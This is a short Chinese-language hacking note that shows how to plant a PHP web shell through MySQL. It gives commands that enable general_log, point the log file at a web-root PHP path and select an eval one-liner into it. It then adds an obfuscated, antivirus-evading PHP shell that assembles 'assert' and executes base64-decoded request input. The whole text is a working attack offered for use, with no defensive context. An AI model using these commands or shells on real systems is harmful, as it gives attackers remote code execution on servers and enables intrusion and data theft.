SQL語句利用日志寫shell

outfile被禁止，或者寫入文件被攔截；

在數據庫中操作如下：（必須是root權限）

 

show variables like '%general%';  #查看配置
 
set global general_log = on;  #開啟general log模式
 
set global general_log_file = '/var/www/html/1.php';   #設置日志目錄為shell地址
 
select '<?php eval($_POST[cmd]);?>'  #寫入shell

SQL查詢免殺shell的語句

SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>"

SQL語句利用日志寫shell